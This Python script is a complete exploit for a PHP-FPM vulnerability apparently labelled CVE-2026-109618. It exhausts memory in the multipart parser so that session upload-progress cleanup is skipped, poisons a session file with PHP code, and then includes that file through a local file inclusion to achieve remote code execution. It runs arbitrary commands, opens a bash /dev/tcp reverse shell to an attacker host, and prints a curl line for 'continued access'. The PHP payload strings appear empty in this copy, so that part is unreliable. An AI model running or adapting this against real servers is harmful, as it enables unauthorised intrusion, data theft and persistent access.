#!/usr/bin/env python3 """ CVE-2026-109618 — PHP Multipart Parser OOM → Session Poisoning → RCE The PHP multipart parser (rfc1867.c) allocates memory for each form field during request parsing. By sending enough fields to exceed memory_limit (or RLIMIT_AS), OOM triggers during parsing itself. The resulting zend_bailout() longjmps past the MULTIPART_EVENT_END handler, which skips session.upload_progress cleanup — even with cleanup=1 (default). The session file — poisoned via PHP_SESSION_UPLOAD_PROGRESS with embedded PHP code — persists on disk. A follow-up request to a new FPM worker includes this file via an LFI vector, executing our code. Phase 1 ─ Poison + Crash Multipart body: 1. PHP_SESSION_UPLOAD_PROGRESS = 2. File upload (triggers progress handler → session flush to disk) 3. N form fields (OOM during parsing → bailout → cleanup skipped) Worker crashes → session file persists with PHP code on disk. Phase 2 ─ Trigger FPM master spawns new worker. We include the session file via LFI and the embedded PHP code executes. Requirements: - PHP-FPM with session.upload_progress.enabled=1 (default) - memory_limit reachable via multipart fields (or RLIMIT_AS) - An LFI vector in the target (include/require with user input) - Known or guessable session.save_path Tested: PHP 8.1–8.4, x86_64 Linux, NTS. Usage: python3 exploit.py -t http://target/app.php --cmd 'id' python3 exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444 python3 exploit.py -t http://target/app.php --trigger-only """ import argparse import base64 import os import re import socket import sys import time from urllib.parse import urlparse # ─── defaults ──────────────────────────────────────────────────────── FIELD_COUNT = 30000 FIELD_SIZE = 512 BATCH = 500 USE_CHUNKED = True SESSION_PATHS = [ "/tmp", "/tmp/php-sessions", "/var/lib/php/sessions", "/var/lib/php5/sessions", "/var/lib/php/sess", ] # ─── multipart builder ─────────────────────────────────────────────── def mp_field(bnd, name, value): return (b"--" + bnd + b"\r\n" b'Content-Disposition: form-data; name="' + name + b'"\r\n' b"\r\n" + value + b"\r\n") def mp_file(bnd, name, fname, content): return (b"--" + bnd + b"\r\n" b'Content-Disposition: form-data; name="' + name + b'"; filename="' + fname + b'"\r\n' b"Content-Type: application/octet-stream\r\n" b"\r\n" + content + b"\r\n") def mp_end(bnd): return b"--" + bnd + b"--\r\n" # ─── HTTP helpers ──────────────────────────────────────────────────── def tcp_connect(host, port, tls, timeout=60): sock = socket.create_connection((host, port), timeout=timeout) if tls: import ssl ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE sock = ctx.wrap_socket(sock, server_hostname=host) return sock def send_chunk(sock, data): sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n") def recv_all(sock, timeout=10): resp = b"" sock.settimeout(timeout) try: while True: d = sock.recv(8192) if not d: break resp += d except socket.timeout: pass return resp def http_get(host, port, tls, path, timeout=10): sock = tcp_connect(host, port, tls, timeout) sock.sendall( b"GET " + path.encode() + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" b"Connection: close\r\n\r\n" ) resp = recv_all(sock, timeout) sock.close() return resp def status_code(resp): try: return int(resp.split(b" ")[1]) except: return 0 def body_of(resp): if b"\r\n\r\n" not in resp: return resp hdr, raw = resp.split(b"\r\n\r\n", 1) if b"transfer-encoding: chunked" in hdr.lower(): out = b"" data = raw while data: nl = data.find(b"\r\n") if nl < 0: break try: clen = int(data[:nl].split(b";")[0].strip(), 16) except ValueError: break if clen == 0: break out += data[nl+2:nl+2+clen] data = data[nl+2+clen+2:] return out return raw # ─── Phase 1: poison session + crash worker ────────────────────────── def phase1(host, port, tls, path, bnd, sid, php_code, fields, fsize, chunked=True): """Send multipart: upload progress + file + OOM fields. Returns (http_status_or_0, fields_sent_before_crash). When chunked=False, builds full body with Content-Length. Required when nginx has fastcgi_request_buffering off — chunked bodies bypass PHP's multipart parser in that configuration. """ if not chunked: return _phase1_contentlength(host, port, tls, path, bnd, sid, php_code, fields, fsize) sock = tcp_connect(host, port, tls) sock.sendall( b"POST " + path.encode() + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" b"Transfer-Encoding: chunked\r\n" b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" b"Connection: close\r\n\r\n" ) # 1. PHP_SESSION_UPLOAD_PROGRESS — value becomes session key suffix send_chunk(sock, mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)) # 2. File upload — triggers progress handler, session flushed to disk send_chunk(sock, mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)) # 3. Pressure fields — OOM during parsing before MULTIPART_EVENT_END sent = 0 for start in range(0, fields, BATCH): end = min(start + BATCH, fields) batch = b"" for i in range(start, end): batch += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize) try: send_chunk(sock, batch) sent = end except (BrokenPipeError, ConnectionResetError, OSError): break try: send_chunk(sock, mp_end(bnd)) sock.sendall(b"0\r\n\r\n") except: pass resp = recv_all(sock, timeout=5) sock.close() return status_code(resp), sent def _phase1_contentlength(host, port, tls, path, bnd, sid, php_code, fields, fsize): """Content-Length variant — builds the full body then sends it.""" body = b"" body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code) body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096) for i in range(fields): body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize) body += mp_end(bnd) sock = tcp_connect(host, port, tls) sock.sendall( b"POST " + path.encode() + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n" b"Content-Length: " + str(len(body)).encode() + b"\r\n" b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" b"Connection: close\r\n\r\n" ) try: sock.sendall(body) except (BrokenPipeError, ConnectionResetError, OSError): pass resp = recv_all(sock, timeout=5) sock.close() return status_code(resp), fields # ─── Phase 2: LFI include of session file ─────────────────────────── def phase2(host, port, tls, path, sid, session_paths, lfi_param): """Try including the session file via common paths.""" for sp in session_paths: sess = f"{sp}/sess_{sid}" url = f"{path}?{lfi_param}={sess}" try: resp = http_get(host, port, tls, url, timeout=10) rbody = body_of(resp) if b"CVE2026:" in rbody or b"upload_progress_" in rbody: return resp, sess except: continue return None, None # ─── main ──────────────────────────────────────────────────────────── def run(args): p = urlparse(args.target) tls = p.scheme == "https" host = p.hostname or "127.0.0.1" port = p.port or (443 if tls else 80) path = p.path or "/" sid = args.session_id or os.urandom(16).hex() bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode() spaths = list(SESSION_PATHS) if args.session_path: spaths = [args.session_path] + [s for s in spaths if s != args.session_path] # Build PHP payload if args.trigger_only: php_code = b'' elif args.cmd: cmd_b64 = base64.b64encode(args.cmd.encode()).decode() php_code = f''.encode() elif args.lhost and args.lport: shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'" cmd_b64 = base64.b64encode(shell.encode()).decode() php_code = f''.encode() else: print("[!] Specify --cmd, --lhost/--lport, or --trigger-only", file=sys.stderr) sys.exit(1) print("=" * 65) print(" CVE-2026-109618: PHP Multipart OOM → Session Poisoning → RCE") print("=" * 65) print(f" Target : {args.target}") print(f" Session ID : {sid}") print(f" LFI param : {args.lfi_param}") print(f" Fields : {args.fields} × {args.field_size}B") if args.cmd: print(f" Command : {args.cmd}") elif args.lhost: print(f" Reverse sh : {args.lhost}:{args.lport}") print() # ── Phase 0: verify target ── print("[*] Phase 0: checking target...") try: r0 = http_get(host, port, tls, path, timeout=5) sc = status_code(r0) if sc == 0: raise ConnectionError("no response") print(f" HTTP {sc} — target alive") except Exception as e: print(f" [!] Not reachable: {e}") sys.exit(1) # ── Phase 1: poison session + crash ── print() print("[*] Phase 1: session poisoning + OOM crash") print(f" Injecting {len(php_code)}B PHP code into session key...") use_chunked = not args.no_chunked if not use_chunked: print(f" Using Content-Length mode (required for fastcgi_request_buffering off)") status, fields_sent = phase1( host, port, tls, path, bnd, sid, php_code, args.fields, args.field_size, chunked=use_chunked, ) if status == 502 or status == 0: print(f" [+] Worker crashed (HTTP {status or 'reset'})") print(f" OOM after ~{fields_sent} fields — bailout skipped session cleanup") elif status == 500: print(f" [+] HTTP 500 — OOM during script (worker survived)") else: print(f" [!] HTTP {status} — may not have OOMed; try increasing --fields") # Wait for new worker print(" Waiting for new worker...") time.sleep(1.5) for i in range(8): try: r1 = http_get(host, port, tls, path, timeout=3) sc1 = status_code(r1) if sc1 in (200, 301, 302, 403, 404): print(f" New worker ready (HTTP {sc1})") break except: pass time.sleep(1) else: print(" [!] New worker not available after 8 retries") sys.exit(1) # ── Phase 2: LFI trigger ── print() print("[*] Phase 2: including poisoned session file via LFI...") resp, sess_path = phase2(host, port, tls, path, sid, spaths, args.lfi_param) if resp is None: print(" [!] Session file not found at any common path") print(f" Try: --session-path /actual/path") print(f" File: sess_{sid}") sys.exit(1) output = body_of(resp).decode(errors="replace") print(f" Session file: {sess_path}") if args.trigger_only: m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", output) if m: print() print(f"[+] Code execution confirmed!") print(f" {m.group(1)}") else: print(f" [*] Session file exists but code may not have executed") print(f" Response: {output[:200]}") return if args.cmd: m = re.search(r"CVE2026:(.*?):END", output, re.DOTALL) if m: result = m.group(1).strip() else: result = output.split("upload_progress_")[0] if "upload_progress_" in output else output[:500] result = re.sub(r"\r?\npid=\d+.*", "", result, flags=re.DOTALL).strip() result = re.sub(r"\r?\n\d+\s*$", "", result).strip() print() print("[+] ═══════════════ RCE OUTPUT ═══════════════") print(result) print("[+] ══════════════════════════════════════════") print() print("[+] RCE achieved via CVE-2026-109618!") print() print("[*] For continued access:") cmd_b64 = base64.b64encode(b"id").decode() print(f" curl '{args.target}?{args.lfi_param}={sess_path}&c={cmd_b64}'") else: print() print(f"[+] Payload delivered — check listener at {args.lhost}:{args.lport}") print(f"[*] Session file for re-exploitation: {sess_path}") def main(): ap = argparse.ArgumentParser( description="CVE-2026-109618: PHP multipart OOM → session poisoning → RCE", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: %(prog)s -t http://target/app.php --cmd 'id' %(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444 %(prog)s -t http://target/app.php --trigger-only %(prog)s -t http://target/app.php --cmd 'cat /etc/passwd' \\ --session-path /var/lib/php/sessions --lfi-param tpl """) ap.add_argument("-t", "--target", required=True, help="Target URL") ap.add_argument("--cmd", help="Command to execute") ap.add_argument("--lhost", help="Reverse shell listener IP") ap.add_argument("--lport", type=int, help="Reverse shell listener port") ap.add_argument("--trigger-only", action="store_true", help="Confirm vuln without RCE payload") ap.add_argument("--session-path", help="session.save_path on target (default: common paths)") ap.add_argument("--session-id", help="Force PHPSESSID (default: random hex)") ap.add_argument("--lfi-param", default="page", help="LFI query parameter (default: page)") ap.add_argument("--fields", type=int, default=FIELD_COUNT, help=f"Pressure fields for OOM (default: {FIELD_COUNT})") ap.add_argument("--field-size", type=int, default=FIELD_SIZE, help=f"Bytes per field (default: {FIELD_SIZE})") ap.add_argument("--no-chunked", action="store_true", help="Use Content-Length instead of chunked encoding " "(required when nginx has fastcgi_request_buffering off)") args = ap.parse_args() run(args) if __name__ == "__main__": main()